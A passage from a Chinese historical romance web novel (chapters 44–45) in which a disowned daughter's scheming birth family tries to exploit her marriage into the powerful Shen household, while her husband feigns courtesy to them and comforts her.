是因为她昨日也听过沈景湛的心跳声吗? 她觉得他的心跳声很熟悉。 好累,她的脑子不想转了,只知道熟悉,却追溯不到熟悉的源头究竟在什么地方。 祝吟鸾思忖期间闭上了眼睑,缓缓睡去。 完全忘记了要离开他的怀抱,演戏结束了,合该“分道扬镳”各睡一边。 良久之后,男人垂眸看着姑娘乖顺的脸庞,合上的眼帘,感受她渐渐平稳下来的呼吸。 抬手抚摸上她恬静的小脸,摩挲她柔软的耳垂。 俊颜渐渐露出满意的笑。 嗯……她对他越来越不设防了。 经过几日的查访,祝家得到了确切的消息。 施家收养的义女,嫁入沈家高门的人,的确是祝吟鸾。 是那个被卫家和祝家联合赶出门,断绝关系的祝吟鸾。 正厅之内,祝家的人谁都没有说话,各自盘算着主意。 相对于祝沉檀的愤怒,祝大人心中只有激动,第一次正儿八经在心里正视起他这位庶女的存在。 没想到,她离开卫家,竟然还能悄无声息攀上沈家。 得了沈家沈世子做女婿,这何止是说出去有面子啊?要是沈景湛当着人前叫他一声岳父大人,里子都有了! 昔日看不上他的官员,还不得过来主动跟他攀谈结交? 越想越激动,祝大人脸都红了,忙不迭开口,让朱夫人快快派人给祝吟鸾送信,叫祝吟鸾带着沈景湛回祝家来,认亲吃饭,好生聊聊,亲近亲近。 一看祝大人热情洋溢,全然不顾她感受的脸,祝沉檀心里浮现起怨恨。 祝吟鸾那个小.贱.人,一朝高嫁,面都没有露,竟然就将父亲给笼络走了。 祝沉檀恨不得摔杯子砸碗,但不能…… 因为朱夫人提前说了叫她冷静,她日后的前程姻缘还要指望着祝吟鸾,在任何地方都不能闹,不仅不能闹,还要想方设法跟她攀上关系。 那可是从小她就看不上的庶妹,眼下居然要让她去讨好她?! 思及此,祝沉檀的脸色不亚于吞了一只蝇虫,恶心极了。 祝吟鸾算什么东西?给她提鞋都不配,她若是识趣,就应该把沈景湛让出来,主动离开沈家。 “老爷怕是忘记了,先前她跟家里断了关系,您让她不要回来,眼下恐是递不了信。” 朱夫人是想要指着祝大人去跟沈家联络,毕竟她之前收铺子的时候,还训斥威胁了祝吟鸾一通,这会上沈家门,谁知道吃的是茶还是尿啊? 没想到祝大人又把事给她踢回来了,让她去递信? 他作为家中主君都害怕得罪沈家,她不过就是□□内眷难道就不怕了? 那贱.人生的小.贱.人,如今的身份可今非昔比! “递不了就想法子。”祝大人肃着一张脸,“她终归是祝家人,不明不白嫁过去了算怎么回事?你作为主母自然要想办法周全!” 朱夫人被噎了找不到话回。 祝沉檀忍不住.插.嘴,“父亲您怎么忽略了?祝吟鸾寻了施家做靠山,此刻叫施将军做爹,认施夫人为娘呢,哪里肯回咱们家?” “这有什么要紧?”祝大人的算盘打得噼啪响。 “她能够寻到施家做靠山也是有本事的,若她的心归于祝家,咱们家不也拐着弯跟施家亲上了吗?” 施将军在武将堆里可是很有话语权的啊! 祝沉檀被训了,脸色变得很委屈,“父亲您这句话是在说女儿没本事,女儿给祝家丢脸了吗?” 祝大人一个头两个大,到底是自己疼惜捧在手里许多年的嫡长女,声音软了下来。 “为父不是这个意思,为父相信你日后定然比你这个妹妹有出息。” “但眼下咱们还是要指望她,早点跟她联系上,让她回家来,为家里做事,让你高嫁,让为父和你哥哥晋升,将来你母亲指不定都能得一个诰命夫人。” 祝大人变相哄着两人。 祝沉檀安定下来,朱夫人想到他说的这种可能,也开始转着主意了。 一旁的祝鸣生眯着眼,提议道,“若是见不到三妹妹,不如去找沈家人?” “沈家人怎么会见咱们?”祝大人原就不想去怵沈家的眉头,毕竟还不清楚沈家那边是个什么意思。 主要是有关沈家如何接纳了祝吟鸾的消息半点查不到啊! 他盘算着先见到祝吟鸾再说,柿子当然要找软的捏。 怎么见到祝吟鸾,就要让朱夫人想办法了。 祝鸣生道,“绕来绕去找三妹妹,咱们是迂回婉转为她无情抛弃本家的作为周全了面子,可旁人不知情的还不认为咱们有鬼?” 听闻这番话,三人纷纷瞧过去。 “倒不如直接给沈家递帖子,母亲装作什么都不知道,就说是三妹妹那边直接跟卫家和离了,偷跑出去许久没有音讯,是上次参加喜宴才见到她人,得知她嫁到了沈家。” 祝大人思来想去,认为这个路子可以走,点头,“为今之计,也只能这么办了。” 他看向朱夫人,“事不宜迟,明日就去沈家递拜贴吧!” 朱夫人心一横,“…行。” 翌日晨起,她便亲自将拜贴送到了沈家门前。 第44章 第44章早些要个孩子吧。 彼时,沈夫人正在沈老太太的院子里伺候她用早膳。 先前为着沈景湛不肯成亲的事情不断装病,谁知沈景湛娶亲以后,反而真的病了。 幸而不是什么大病,就是前些日落雨,吹风头疼,太医嘱咐了多躺躺,又开了几味解郁健脾的药。 听到下人来报,说祝家夫人递来了拜帖。 沈夫人添汤的动作顿了一下,疑问,“哪家?” 沈老太太也随之看过去。 管事的婆子重复道祝家。 “祝家?” 京城高门倒是有姓祝的,和沈家也有往来。 但即便是说祝家,定然会在前面加个官职爵位,譬如说沈家,那定然要说是侯府沈家了,如此才好区分,以免混淆了门第,怠慢客人。 单名一个祝家,谁知道是哪家? “说是咱们世子夫人的亲娘家。” 适才想不到是哪家,下人又讲是祝家,沈夫人心里便冒出隐隐约约的直觉。 如今真的听到管事婆子那么说,瞬间确定了,祝吟鸾先前的母家。 沈夫人和沈老太太对视一眼。 沈老太太放下银勺,“拜帖拿来我瞧瞧。” “母亲您先吃早膳。”见老太太的眉头又拧了起来,担心她的身子骨。 “还真是这祝家啊。”沈老太太看过拜帖递给沈夫人。 又问管事婆子,“人在哪?” “就在门口候着呢。” 说话间,沈夫人已经将拜帖内容看完了。 祝家的登门恐怕没好事,但不得不说这拜帖 内容写得倒可以。 “媳妇前去看看,母亲您多用些饭菜,一会要吃汤药呢。” 沈老太太点头摆手让她快去。 沈夫人走后,沈老太太还是不放心,点了一个她身边的婆子跟过去听听。 帖子递进去许久了,还是没回信,朱夫人不免忐忑担心。 祝吟鸾那个小.贱.人会不会在其中使坏,收了帖子派人过来将她给赶走?亦或者又亲自出来,仗着世子夫人的身份给她这个嫡母一个下马威? 朱夫人慌里慌张想着,忽而沈家大门打开了。 出来的不是祝吟鸾那个小.贱.人,而是沈夫人! 朱氏立马上前福身自报家门问好。 听到对方称呼为侯夫人,没叫亲家母,沈夫人面不改色,倒也没抬高门架子,礼貌回应了朱夫人的问好, 随后装傻充愣道,“不知祝夫人今日递帖子过沈家门来,所为何事啊?” 沈夫人适才的温和礼貌让忐忑不安的朱夫人受宠若惊,还以为沈夫人要迎她进入沈家坐了。 没想到茶水还没吃上一口,对方在大门前就问她来做什么? 沈夫人可是高门贵女,母家上面是开朝大将军,这些年.操.持着侯府,可谓长袖善舞,玲珑剔透,怎么可能猜测不到她的来意? 既在门口就堵着问了,会不会是祝吟鸾那个小.贱.人的主意?偏生她没有露面,对着侯爷的当家主母,朱夫人哪里敢造次。 对方装聋作哑,朱夫人一咬牙,索性就豁出去了。 高门世家最重颜面,她不信沈夫人真让她在门口说沈家的私事,就不怕人听去了? 祝家的脸面没有沈家大,有沈家一起丢面,还慌什么? 这次到了门口侥幸见到了沈夫人,若是空手回去,下次再来指不定会不会吃闭门羹呢。 因此,朱夫人摆出一副苦口婆心的嘴脸。 “此事说来也怪是不好意思的,事关我那不省心的女儿,前头我听说她离开卫家以后,竟然去找了施家夫人,认了对方为义——” 朱夫人除了第一句声音压低了些,后面就刻意拔高音量,往外倒豆子似的噼里啪啦。 她话还没说完,就被沈夫人皱着眉头打断,“祝夫人慎言。” “什么女儿不女儿的,祝家和施家有什么关系?纵然是有些什么,如何又攀扯到了沈家?” “夫人说话这般不忌讳,是不怕吃官司?”沈夫人眯眼,高门贵.妇的气势瞬间展露,威压向前。 朱夫人的确被吓到了,但她脸都豁出去了,要是就这么回去,跟祝大人都不好交代,干脆就当没听到沈夫人说些什么,直接抹着眼泪,说她是太担心祝吟鸾了。 “我自小疼着宠大的姑娘,也不知为何,莫名就不认我这个娘了,纵然如此也罢了,我就想见她一面,看看她是否安好,若是好我也放心了!” 沈夫人静静看着朱夫人许久。 她不说话,朱夫人也被瞧得毛骨悚然,她也就是装装样子,不敢大肆撒欢,真的在沈家门口哭泣。 良久之后,沈夫人扯出一抹笑,“朱夫人看起来怨气缠身,好似有天大的冤情要诉,既求到我们沈家门前来,倒叫我不好冷眼旁观了。” “我那儿子也是御前断案的人,我让他来听道听道,瞧瞧祝家是笔什么冤账呢。” “去把世子叫来正厅。”沈夫人说完吩咐身侧的丫鬟,随后转身就走了。 朱夫人吃了奚落和恐吓,心中慌得厉害,见沈夫人一改见面的温和不理她了,意见踌躇期间,想到荣华富贵,只能厚着脸皮跟上去。 她先前也有幸去过几家高门赴宴,可那几家的院子跟沈家的比起来,瞬间不够看了。 沈家真不愧是天子脚下的第一世家大族啊! 朱夫人在后面左右偷看,时不时露出一副没见过世面的大惊小怪样,沈夫人见状,越发忍不住在心里皱眉头。 早知道祝家是个小门第,却没想到作风竟如此一言难尽。 听说,祝吟鸾自幼没了小娘,便是放在嫡母屋内养大的。 朱夫人如此做派,那祝吟鸾品性能好么? 思及此,沈夫人心中对祝吟鸾那点——因为办施家回礼而积起来的好感瞬间没了。 到正厅以后,沈夫人也没叫朱夫人坐下。 朱夫人继续厚着脸皮自己个坐下,偷偷打量着沈家正厅。 忍不住在心里感慨,实在是太大手笔了。 沈家的正厅不仅仅是大,摆放的各类玉器都是名贵之物,桌椅板凳也是最好的木料,这放在京城的铺面里,得有钱有权才能够买到。 “世子怎么还不过来?”沈夫人打发小丫鬟去催促。 她没提祝吟鸾,免得朱夫人听见了话茬,顺着梯子来找话。 小丫鬟们不拿茶水,朱夫人就干坐着。 听到世子两个字,一想到要见到沈景湛,她忍不住在想,是不是也要见到祝吟鸾了? 可没想到,半柱香后。 沈景湛是来了,祝吟鸾却没有露面。 乍见沈景湛的第一面,朱夫人眼睛瞬间亮了起来,人也不自觉缓缓站了起来,感叹打量着对方丰神俊朗的样貌和气度。 “这、这就是世子爷吧?”朱夫人忍不住上前套近乎,“真是玉树临风,一表人才啊……” 夸沈景湛的同时,也不忘记拍了沈夫人的马屁,想要借此修复适才在门口闹的不愉快。 沈夫人看穿了她的心思,勉强扯了个笑没接话,用眼神跟沈景湛交流,让他自己收拾局面。 沈景湛却像是没有看到沈夫人的气恼,以及她甩过来的摊子。 他蹙眉疑惑问,“母亲,这是哪位亲眷的夫人,怎么以往没见过?” 母子两人搭着擂台互相唱戏,但因为沈景湛伪装得太好了,只看脸,朱夫人压根就没有瞧出他是故意这样说的。 她开始在心里笃定,以为是祝吟鸾迷惑了沈景湛,没跟沈景湛提过家里的事情。 甚至还在心里兀自猜测着,或许是祝吟鸾先攀上了施家,借此勾搭的沈景湛,否则以她的身份和交际,怎么可能会接触认识到沈景湛呢? “人就在跟前,你自己怎么不问?”沈夫人对着他皮笑肉不笑,静静看着他演戏。 沈景湛瞧过去,还没开口,朱夫人便自报家门,“世子爷有所不知,我是您内眷夫人的嫡母啊。” “鸾儿的亲娘?瞧着样貌不大像呢。”沈景湛反问。 听到亲娘两个字,朱夫人脸色微变,但又很快压下去,她笑着说,“是嫡母。” 听出沈景湛亲昵称呼祝吟鸾,她也顺着说道,“但鸾儿那孩子一直是养在我跟前的,说是亲娘也差不离了,我一直拿她当亲生骨肉疼惜。” “对了,她怎么没来?”朱夫人这才想起来往后面看去,真是没有见到祝吟鸾的身影。 “鸾儿昨日累了,今日精神不济,用过了午膳在休憩。” 闻此言,沈夫人和朱夫人各自有计较。 沈夫人想到老妈妈连日的汇报,说他极其疼爱祝家女,夜夜都要水。 朱夫人则是在想,祝吟鸾那小.贱.人竟然这般会笼络人心?听着沈景湛的话茬对她很是喜欢与疼爱。 沈景湛吩咐人上茶果,事先还问朱夫人喜欢喝什么茶水,配什么果子。 “都好都好,我不挑剔的。”朱夫人真是受宠若惊,先前沈夫人突然变脸,她还以为此行不会好过了。 没想到沈景湛竟如此平易近人,天老爷,可真是意想不到的收获。 幸而是厚着脸皮入了沈家门见到人。 “夫人请坐。”沈景湛吩咐人上最好的茶水果子,又亲自请她上坐。 朱夫人感受到了莫大的虚荣,畏缩起来的腰杆都挺直了,但在沈家地界,沈夫人面前也不敢放肆。 “世子爷客气了。” 沈景湛脸上浮着温和无害的笑,“既然是鸾儿的嫡母,便也是景湛的嫡母了,合该称呼您一声岳母才是。” 岳母两个字砸到朱夫人的头上,直叫她喜得收不住脸,瞬间笑开声音,“这……这倒也是的。” 沈夫人在主位上看着沈景湛扮猪吃人,眼皮微挑,没吭声。 “岳母吃茶。”小丫鬟们手脚很快,即刻就端上来了。 沈景湛算是正儿八经叫了一声岳母。 朱夫人笑得合不拢嘴,双手捧着茶水喝,“哎哟 ……世子爷实在太……太会说话了。” 期间,她还颇是小人得志般看了一眼沈夫人。 那眼神仿佛在说,瞧我方才说的是不是事实?你的儿子沈景湛可是认了的。 沈夫人不喜,瞧不上朱夫人的做派,却也没有砸沈景湛的台子。 不知道他葫芦里卖的什么药,总之这祝家的蠢得人无话可说。 想起先前他当着老太太的面陈情过祝家女遭休弃的内情——是被娘家和前夫家赶出来的。 这祝家的拜高踩低,对庶女决计不像嘴上那么宽待。 她这儿子爱惜祝家女好似命根子一般,哄着祝家女睡了才过来,不叫她露面是怕她见了祝家的心烦吧? 如此下来,会不帮着她出气吗? 思及此,沈夫人倒一解心中郁气,坐在旁边全当看戏了。 “……” 吃了茶水,朱夫人先开口,还是方才在沈家门口跟沈夫人说的那番话。 说祝吟鸾不知道怎么的忽然就离开了卫家,许久不见踪影,祝家人找了好久,近些时日才得知她竟然认了施家夫人和将军为义父义母,又嫁到了沈家来,反问沈景湛这期间究竟发生了什么事情? 说罢,朱夫人观察着沈景湛的脸色,见他蹙眉,似乎在思虑,心里忍不住打鼓。 好一会,沈景湛答非所问,“岳母不知道娘子在卫家发生了什么事情吗?” 朱夫人一愣,睁着眼睛说瞎话,“我……我不知道啊!” 幸而先前带着她的檀儿上门逼祝吟鸾让位的事情没多少人知道。 祝沉檀和卫如琢也没有按日子成亲,发放喜帖。 就算是沈景湛听到了什么风声,也能够周全回来。 毕竟沈景湛看起来就很好说话,不似狡诈难缠之辈。 “鸾儿是怎么跟你说的?”朱夫人再次试探问。 沈景湛还在思考,眉头始终皱着。 朱夫人开始猜测,祝吟鸾很有可能跟沈景湛说了些什么。 她必须要快些挽回局面,但祝吟鸾刚嫁给沈景湛,两人之间浓情蜜意,这关口可不能说祝吟鸾的什么不好来,免得惹了沈景湛不快,站到她那边,跟祝家.交.恶…… 所以朱夫人装模作样唉声叹气,“鸾儿那孩子我是看着长大的,从小就乖顺,性子柔和,她突然从卫家跑出去,定然是受了不少委屈。” “可我怎么都想不到她离开卫家后,竟不回家中去,仔细想想,必然是她出嫁的时候我曾说了让她好生过日子,出了门就是别家人,有事多自己掌掌眼之类的话,可我到底是怕她舍不得家,躲着哭,这才迫不得已狠下心说了那样的话。” “谁知道她竟然误会了我,把话放到心里去,我是她的母亲啊,岂能不疼她?唉……说到底说破天,也是我这当母亲的不好……” 朱夫人这番话糊弄别人道行低的或许还可以,但在沈家两只老狐狸面前,装得无比拙劣。 沈夫人心里控制不住的鄙夷。 沈景湛温和长睫掩饰的眸底则是一片薄凉和不耐。 母子两人都没露出风声,朱夫人捕捉不到,还以为她的话奏效了,为求逼真,她还抹了两滴眼泪。 她讲了一箩筐,沈景湛总算是开口,“岳母言重了,鸾儿并没有嫌弃您不好,更不曾道祝家待她刻薄。” “那她都说什么了?为何不归家?又怎么去找了施家呢?” 趁热打铁,朱夫人连忙追问。 沈景湛叹一口气,提起祝吟鸾时掩饰不住的疼惜。 “鸾儿说卫家大人与她情意破裂,嫌弃她四年无己出,休弃了她,她也没脸回祝家,怕辜负了岳母和岳父大人,也怕你们担心。” “便在京中寻了一处宅子养身子,就在京西南那边的雅音小筑,后来在哪偶然结识了施家夫人,施夫人喜欢她的性子,认了她为义女…” “岳母也知道施家乃是我们沈家的旁系,我过施家之时遇到了鸾儿。” 提到两人之间的“邂逅”,男人的声音骤然柔和下来,俊美的脸上陷入过往的美好中。 “鸾儿温婉娇怯,品性又好,我见了她总是心中欢喜,总归已经到了适龄年岁,便向施将军和施夫人求娶,将她迎回了沈家。” “原来是这么回事啊!”朱夫人忍不住在心里顺一口气,总算是把所有的话都给套出来了。 雅音小筑就在京城高门世家遍布的地段,祝吟鸾那小.蹄.子有几分姿色,她把宅子买在那地方,恐怕早就想着要再嫁。 就像她当初的小娘一样,卑贱之身却爬上祝家主君的床,从此飞上枝头当凤凰! 不过她比她那短命娘运气更好,倒是让她真的成为凤凰了。 还真是小看了这小.贱.人。 残破之身还生不出孩子,反而钓到了这么好的金龟婿,全京城的贵女都被她给压下去了。 “今儿我还能不能见到鸾儿?我怕日后不能来了……她果真没有生我这当娘的气吗?” 沈景湛笑着宽慰朱夫人,“岳母放心,娘子没有生气。” “先前还说要回祝家去看看呢,只是她胆小,没准备好措辞,岳母今日一来,待我转告了她,她也能够安心了。” “您放心,待鸾儿心绪彻底开阔了,我就带她携了重礼去祝家探望。” 听到重礼两个字,朱夫人心里一喜,家里银钱还短缺着呢! 心里惦记,嘴上却说得好听,“都是一家子,回去还带什么礼,千万别带,那你们什么时候回门?依我看择日不如撞日,不如明日吧?亲家母,您说呢?” 朱夫人被沈景湛几句话哄得红光满面,面子里子都上去了,直接对着沈夫人改了口,直接就叫上亲家母。 沈夫人只是笑笑,“这要问世子的意思了。” 沈景湛接过沈夫人的话,回朱夫人道, “我倒是觉得岳母说得好,也盼着早点跟娘子回祝家去见见您与岳父大人,可还是要听她的意思,况且她近来身子不大爽快,只怕要养养。” 真不知道那小.蹄子究竟用的什么手段,竟然把堂堂中书大人,侯府世子驯服得如此依从她! 不过……沈景湛如此好迷惑,待去了沈家,好生安排她的檀儿与之亲近,说不定还能像在卫家那般故技重施,把祝吟鸾给挤兑走。 “好好好,那你快些问问她,也让她仔细保养,今儿我也带了礼品来,没见她人倒是可惜,劳烦你帮我转送吧?”朱夫人道。 她高兴介绍着带来的物件,哪些是给祝吟鸾,哪些是给沈夫人和沈老太太的…… “岳母您放心。”沈景湛点头笑道,吩咐人收下。 送了一步三回头的朱夫人出去后,他眼中的笑意渐渐褪转为森寒。 回了正厅后,沈景湛方才坐下,沈夫人问他到底怎么打算? “母亲您不知道吗?”他端起茶盏,淡淡道。 “你的心思七弯八绕,怕是你枕边人都不知道吧!”沈夫人没好气。 提起祝吟鸾,沈景湛微挑了挑眉,笑了一下,“她的确不知道。” “果真在睡?”沈夫人问。 沈景湛慵懒嗯了一声。 “祝家的事情你既然心中有数,我也不想管了,但处理也要谨慎些,别败了咱们家的名声,你祖母这些时日病了,到底要想着她老人家的身子骨撑不撑得住。” “待鸾儿醒了,儿子带她去祖母那边请安用晚膳。” 沈老太太那边的院子布局景致也不错,她还没有去逛过。 沈夫人不知道他心里想什么,只道,“你祖母这病怎么起的,你心里没数吗?” “儿子又不是郎中,哪里知道?” 沈夫人,“……” “你虽然成了亲,但跟家中同辈比起来,到底也算是成家成得比较晚,早点跟你媳妇要个孩子,你祖母的病也就好了。” 不只是老太太 顾念观望着祝吟鸾的肚子,沈夫人也留心着。 她想知道这祝吟鸾究竟能不能生。 看着两人浓情蜜意,日日都成好事,恐怕孩子也要快有了吧? “母亲这么想抱孙子,家中不是已经有人生了吗?” 沈夫人可不光他这么一个儿子,比沈景湛年岁小的,早些年就成家了,也有了子嗣,还不止一个。 沈夫人没好气,“别人的都抱过了,就差你的孩子了。” 沈景湛还是笑,“既然如此,您可多要派人去听听动静,好生督促督促儿子。” 沈夫人,“……?” 他这话,是什么意思? 祝吟鸾一觉醒来,没见沈景湛,却听明芽说,今日朱夫人来沈家了。 原本惺忪的睡眼瞬间睁圆,“你说什么?” 第45章 第45章他在哄她吗?好像是。 明芽又重复了一遍方才的话,祝吟鸾仅存的睡意瞬间消失殆尽。 眉头紧皱,脑中想着朱夫人找到沈家来了,在她午睡的时候。 “小姐,您别担心,人已经被世子爷打发走了。”明芽宽慰她,说朱夫人虽然来了,但沈景湛没一会就把人送出去了,并没有闹起来,相反和和气气的。 沈景湛为何不叫她起来,独自就去应对了? “他是怎么说的?”祝吟鸾问。 “具体内情到底怎么说的,奴婢并不清楚,奴婢只知道朱夫人来了,是沈夫人接待的,沈夫人派人过来叫世子爷过去正厅见人说话,那会您刚睡下没多久。” “婆母派来的小丫鬟没叫我吗?”她敏锐问。 明芽摇头,“只叫了世子爷。” 祝吟鸾沉默下来,“……” 祝家是她的亲娘家,沈家的人定然清楚,朱夫人上门,沈夫人只叫沈景湛,不叫她。 显然是……要么不把她当回事,要么沈夫人生气了,提她就烦。 先前朱夫人找来的地痞无赖就是沈景湛去处理的,纵然沈景湛已经清楚祝家人的秉性如何,可朱夫人亲自找上门来的事情,还是让祝吟鸾心中煎熬,难受。 更何况,不光是沈景湛在,沈夫人也在。 侯府虽只住了长房人户,但她和沈景湛才成亲,侯府其余的几房谁没有盯着这边?再者说,沈家长房的人也不少,单是姨娘都有好几个,拢着庶出公子小姐们,乌泱泱一大堆人。 她本就有意想要与沈夫人打好婆媳关系,还没想好要怎么正儿八经认真接触,朱夫人竟先跟沈夫人碰上了。 想到朱夫人过往爱慕虚荣,高高在上的嘴脸,碰上了沈夫人…… 祝吟鸾心里不免叹气。 她又问沈景湛去哪里了?此刻必然要早点知道朱夫人上门都说了些什么,方能安定她的心思。 “世子爷他——” 明芽话还没说完,祝吟鸾已经看到了从书房方向过来的沈景湛。 “鸾儿找我?”男人眉眼含笑,一如她睡前的模样。 明芽清楚两人有话要说,福身之后,识趣带着旁边伺候的小丫鬟下去。 人都走了,祝吟鸾便问他方才朱夫人是不是来了? “嗯。”沈景湛点头,坐到她旁边。 没等祝吟鸾接着询问,他便主动将适才在正厅发生的事情告诉了祝吟鸾。 听罢,祝吟鸾眨眼道,“嫡母信了?” “信了。”沈景湛嗯声。 朱夫人是真的信了还是假的信?她既然都上门来了,这便意味着祝家人都知道了,祝家知道……卫家恐怕也知道了。 只是沈景湛这样的态度,到底是什么意思?祝吟鸾低着头琢磨。 他分明清楚她不想跟祝家的人有太多瓜葛。 眼下人是打发走了,但祝家的人肯定还会来的,就为着他口中的一声岳母,朱夫人不攀吸着沈家才怪,她怎么可能会放过那么好的机会,这可是攀龙附凤的大好良机啊! 试问京城当中的人谁不馋沈家的权势富贵,谁不想跟沈家的人沾亲带故? 她第一日去给沈家亲长敬茶的时候,沈夫人虽然没有为难,表面上和和气气,但她当时可是说了要让她做好世子正妻的本分事,她与沈景湛夫妇一体,荣辱也是一体的。 后面的荣辱一体四个字特别有深意,祝吟鸾又不笨,怎么会听不出来? 她快速思忖着,想着祝家卫家…施家沈家亲长的态度。 眼下又不知道要怎么张口才体面,要怎么说才能不得罪,不冒犯到沈景湛,促使他生气。 没想到,沈景湛轻启薄唇,眉梢始终含笑,“鸾儿想问我,为何要这么做?” 他风轻云淡,三言两语间直接挑破了她的欲言又止。 祝吟鸾语塞,她看着男人的俊脸。 她看着他的同时,沈景湛也在看着她。 彼此的瞳仁里都映着对方的脸。 男人眉眼清俊,眸光流转着落落大方坦坦荡荡,她呢?躲躲藏藏,扭扭捏捏。 两相对比之下,祝吟鸾觉得她翻来覆去的心绪,简直拧巴得丑不堪言。 可她在祝家闺中多年,卫家后宅四年,仰人鼻息过日子,已经下意识习惯了这样的小心翼翼。 思及此,她睫羽开始颤抖,闭眼又睁,看着男人时,眼里有豁出去的微光在闪。 “是。” 反正两人之间一直开诚布公,她索性咬唇点头了。 “你为何要这么做?” “你认了朱夫人做岳母,她日后一定会巴着沈家的。” 当初她在雅音小筑就跟朱夫人撕破了脸,话都说到这个份上,她也不叫嫡母了。 “你知不知道……不只是朱夫人会巴着沈家,祝家那些旁支嫡系都会来吸沈家的血……” 当初她被赶出卫家,父亲和嫡母让她不要回家,只当没有她这个女儿了,如今又来攀附,她想要脱离苦海,过些属于自己的平静温和的日子,怎么那么难啊? 话说到这个份上,不吐不快,祝吟鸾索性把话说明白。 反正遮遮掩掩没意思,暗中揣测也很累。 “当初我去有司衙门递诉状,还是你接手的案子。”当时沈景湛出来救她,说是涉及朝廷事情,并没有让她留下问话。 他到底对她过往的事情知道多少,她并不是很清楚。 从相识到成亲,两人之间的进展算是很快了。 回想起来,她这样胆小的人敢凭一己之身高嫁,全是因为心里那股被欺压多年的委屈气一朝释放了。 它转化为意气,勇气,怒气,托着她,撑着她,鼓着她走到沈景湛身边,走进施家,又嫁到沈家来。 沈景湛是个正人君子,风度翩翩,温润如玉,她不说,他也从来不会过问她的那些事情。 以他的身份地位,或许早就弄得一清二楚,可他不计前嫌,待她很好。 她不想要他去接触祝家人,不只是他,还有沈夫人,沈老太太,沈翕云,沈家人,施家的人,她都不想叫她们去与祝家的,卫家的接触。 那是她的伤口,她身陷困境的潮湿泥泞。 她有属于自己的尊严,她想要自己应对,不想被人看笑话,因为这么多年被人挑挑惕惕,取笑玩闹,她觉得够了。 话虽如此,但……好像维持…面子,真的很难。 她能自己应对吗,能的话就不必嫁入沈家了。 “……” 祝吟鸾说了那句案子之后,沉默了一会,再开口时,平静温软的声音下隐藏着不易被人察觉的倔强哭腔。 她的头也稍微低了下去,长睫底下泛起水光。 男 人见状,心头一动。 眼前的姑娘道,“我当初离开卫家,都是因为娘家与婆家人逼迫,父亲嫡母想要把长姐嫁过来,与我一道伺候卫如琢,我不愿意……” “…我和卫如琢的这门姻缘本就是填补家中长姐攀附骆家之后的空缺,父亲担心悔婚卫家被人诟病…这才让我嫁过去……” “谁知这四年,长姐会与骆暄和离,卫家又屡次高升,长姐回心转意,卫如琢也还是喜欢长姐,父亲嫡母领着长姐进门,竟说是我占了原本属于长姐的姻缘,理应还给她了,嫡母和婆母都刺我不会生孩子,让长姐进门帮着开枝散叶是我的福气……” 言及此,祝吟鸾忍不住自嘲嗤笑,“卫如琢也没有站在我这边……” 她的声音越来越含糊低迷,就当沈景湛以为她会哭出来的时候,她顿了一会,竟冷静下来了。 微低下去的脑袋也抬了起来,她眼里水光并没有完全退却,她看着他。 “我实在不能苟同她们的说法一道欺负我自己,所以我不愿意,自请和离,卫如琢觉得我不识好歹,不愿和离,便休弃了我。” “离开卫家那日,父亲和嫡母,亲口对着我说,要与我断绝关系,日后就当没有我这个女儿,不让我回祝家门,我在京城买了一处住宅,婆母还是不肯放过,步步紧逼,后面的事情……你也知道了。” “所以,我不想要你对朱夫人笑脸相迎,还叫她岳母。” “我不想祝家攀附沈家,不想要再跟她们有任何瓜葛……” 她说完之后,眼里豁出去的那点微光渐渐熄灭。 瞥过与他对视的眼,抬手擦着积攒许久的泪珠,默不作声平复她翻涌出来的心绪。 见她如此,沈景湛轻叹一声,他将她揽入怀中抱着她。 祝吟鸾愣了一下,“……” 男人的怀抱宽阔无比,抱上来的一瞬间,温热席卷笼罩着她的周身八道。 他的大掌揽着她的腰肢,另外一只轻柔拍着她的后背。 沈景湛在哄她吗? 好像是。 在怀中人看不到的地方,男人俊脸之上的心疼彻底展露,一览无余,他眼底的阴狠也没有隐藏分毫。 但脱口而出的语调却很温柔,“鸾儿,你的意思我都明白。” 他都明白,为何还要…… 祝吟鸾还没有问出来,男人便接着道,“但你这样聪明的人,如何会不清楚…扬汤止沸,去火抽薪的道理?” 更何况,祝家和卫家人都没有得到惩罚,只是将人赶走,岂不是太容易了? 这些话他没有说出来。 以免吓到她,也怕被她察觉端倪。 她的敏锐,他比任何人都清楚。 在祝家与卫家的事情上,她之所以拎不他笑脸以对朱氏的用意,无非是因为祝家是她的出身血亲,卫家又是她少女情岁时初初嫁过去的门第。 再是怎么铜铸铁打,坚韧不拔的人,总不可避免围困于父母骨肉。 此刻陷于迷局,她才不能够做到旁观者清。 沈景湛撒网布局,自然看透人心,无比清楚。 不过,经过沈景湛这么一说,发泄过后又冷静下来的祝吟鸾,有些回过味了。 她暂时没说话。 男人持续轻柔拍着她的后背,将她带过来。 贴着她的耳朵哄她,给她解释, “你知道祝家卫家人趋炎附势,拜高踩低的本性,也清楚京城高门世家要顾及名声脸面。” “这一次或许可以以.权.施压,将祝家夫人赶走,又封住对方的口舌,但纸包不住火,扬汤止沸能扬几时?” 祝吟鸾的脑子跟着他的话在转,闻言,她脱出沈景湛的怀抱,问他,“你…你想怎么做?” 当然是让这些人登高跌重,求而不得,永坠粪泥,生不如死。 想说他怎么做,就看她舍不舍得。 又怕吓到她。 毕竟她哭得眼尾鼻尖通红,被泪水打湿的睫毛都还没有.干.透呢。 “鸾儿若是信任我,祝卫两家交由我处理可好?” 男人伸手,将她哭湿了黏在脸上的发梢拂到耳朵后面去。 他的一举一动都无比温柔。 “当初不是说好了,我来为鸾儿抵挡祝、卫,两家的逼迫吗。” 他没有把话说得太清楚,可祝吟鸾看着男人俊美无俦,温柔无害的样貌,挪不开眼的同时,心里渐渐定下来。 他凑过来,额头触碰她的额头,鼻尖抵着她的鼻尖,大掌摩挲她的侧脸,拇指指腹擦拭她悬挂的泪珠。 “鸾儿信我,嗯?” 男人清冽的呼吸近在咫尺,说话的嗓音也磁沉性感。 她的心不止是定了,还渐渐起了酥麻… 这样近的距离,如此语调。 让她想起这几日夜里与他的亲密,与他亲吻的滋味。 他亲昵吻她的脸,流连在雪凝成的峰满。 大掌指腹的粗砺都磨得她很舒服。 思及此,祝吟鸾忽而口干舌燥起来。 她…… 这是怎么了。 竟然在这个时候走神。 虽然不是青天白日了,可还没有彻底日暮西垂,还没有用晚膳。 她怎么就……竟然回忆起跟沈景湛亲吻的滋味。 还想他亲她。 “鸾儿……” 她虽然已经会隐藏情绪,可在老谋深算的男人面前依旧初出茅庐。 他明明看穿她的异样,却还佯装得什么都不知道。 低声问她是怎么了?哪里不舒服? 祝吟鸾连忙撇开眼,平复她躁动的心,“我……” “没什么……” 